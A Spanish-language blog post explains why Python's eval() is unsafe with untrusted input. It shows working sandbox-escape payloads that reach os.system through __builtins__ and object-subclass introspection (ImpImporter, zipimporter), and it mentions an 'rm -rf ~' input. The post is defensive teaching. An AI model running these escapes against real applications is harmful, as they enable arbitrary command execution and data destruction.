Respuesta corta
Eval es maligno, no lo intentes.
Respuesta larga
Hace unos días publicaron en la lista de
Python Argentina la pregunta de qué tan peligroso era usar la función eval para ejecutar código:
code = raw_input('Ingrese una entrada: ')
eval(code)
Sucede que si el usuario ingresa una expresion similar a:
Ingrese una entrada: __import__('os').system('ls /')
Pueden ocurrir cosas malas; en este ejemplo se esta listando los archivos del directorio raíz, pero ingresando: "rm -rf ~" se van a borrar todos los archivos de la carpeta personal del usuario.
Entonces, eval() parece bastante malo.
Una primera mejora a la fución eval() es asignarle dos parámetros adicionales para anular las funciones de importacion de módulos. Haciendo:
eval(code, {'__import__': None}, {})
El anterior ejemplo ya no funciona:
>>> eval('__import__("os")', {'__import__': None}, {})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not callable
Pero hay otra forma de pasar por arriba la limitacion de
__import__
:
>>> eval('__builtins__["__import__"]("os")', {'__import__': None}, {})
<module 'os' from '/usr/lib/python2.6/os.pyc'>
Ya tenemos de vuelta la referencia a __import__. Entonces como bien comentaron en la lista, una solución sería anular la referencia a __builtins__:
>>> eval('__builtins__["__import__"]("os")', {'__import__': None, '__builtins__': None}, {})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
TypeError: 'NoneType' object is unsubscriptable
Y si queremos abrir un arhivo tampoco se puede:
>>> eval('open("/tmp/aa", "w")', {'__import__': None, '__builtins__': None}, {})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'open' is not defined
Con la función 'file' tampoco funciona. El
módulo __builtins__ es el módulo donde residen todas las funciones predefinidas de Python: file, open, list, dir, etc. Si queremos construir una lista tampoco se puede:
>>> eval('list()', {'__import__': None, '__builtins__': None}, {})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
NameError: name 'list' is not defined
Pero hay otras formas de pasar por arriba las limitaciones de no tener __builtins__. Solo se necesita tener una referencia a un objeto que referencie a una función que nos permita hacer cosas no permitidas.
Una forma es usar las operaciones de 'introspection' de Python. Dada una instancia de un objeto podemos saber su clase, la clase padre y las subclases. Por ejemplo:
>>> (1).__class__.__bases__[0].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, ...]
En este caso estamos tomando la instancia del objeto int(1), preguntando su clase, luego la clase padre (object), y luego las subclases de ésta (¡un montón!).
Mirando atentamente la lista encontramos dos referencias interesantes:
- <type 'file'>
- <type 'zipimport.zipimporter'>
La primera es el tipo
file(), la misma que se usa para leer y escribir archivos. La segunda es la clase
zipimporter, que permite importar módulos dentro de un zip.
Lo interesante es que aún anulando la referencia al módulo __builtins__, las anteriores operaciones siguen funcionando:
>>> eval("""[x for x in (1).__class__.__bases__[0].__subclasses__() if x.__name__=='file'][0]("/proc/version")""", {'__import__': None, '__builtins__': None, }, {})
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<string>", line 1, in <module>
IOError: file() constructor not accessible in restricted mode
Intentando usar la referencia a 'file' tenemos un problema: el IOError.
El mensaje de error IOError aparece porque dentro de la función file() hay un
bloque de código que verifica que __builtins__ no sea None.
Años atrás, el equipo de Python intentó agregarle al lenguaje la funcionalidad de ejecución
restringida de código, que permita ejecutar código no seguro de forma segura.
Luego de varios intentos desistieron, justamente porque no era posible contemplar todos los casos. Hoy en día esas funciones están deprecated y
en Python 3 fueron completamente removidas del código fuente.
Entonces, en Python 3 es posible importar cualquier módulo y ejectar codigo malicioso fácilmente, aún anulando __builtins__:
>>> (eval('[x for x in (1).__class__.__bases__[0].__subclasses__() if x.__name__ == "ImpImporter"][0]().find_module("os").load_module("os").system("id")', {'__import__': None, '__builtins__': None}, {}))
uid=1000(alejo) gid=1000(alejo) groups=1000(alejo),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),44(video),46(plugdev)
En este caso, la clase
ImpImporter es una subclase de object que abstrae todo el comportamiento de importación de módulos. Acceder a esa clase es algo que no se puede evitar usando las opciones de eval().
Quedó pendiente la instancia de zipimporter.
Importar modulos con esa clase no imposible, la única complicación es conocer la ruta de algún egg o zip dentro del sistema que nos ofrezca alguna referencia a __builtins__, __import__, al módulo 'os' o a otro módulo que nos interese.
Por ejemplo, hacer un zip que tenga dentro un modulo que importe el módulo 'os' es bastante trivial:
>>> eval("""[x for x in (1).__class__.__bases__[0].__subclasses__() if x.__name__=='zipimporter'][0]("/tmp/modulo1.zip").find_module("modulo1").load_module("modulo1").os.system("id")""", {'__import__': None, '__builtins__': None, }, {})
uid=1000(alejo) gid=1000(alejo) groups=1000(alejo),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),44(video),46(plugdev)
En resumen, no se confíen de eval() para ejecutar código potencialmente inseguro. En la
wiki de Python.org hay una sección dedicada exclusivamente a la
seguridad, aquellos que estén interesados no dejen de leerla.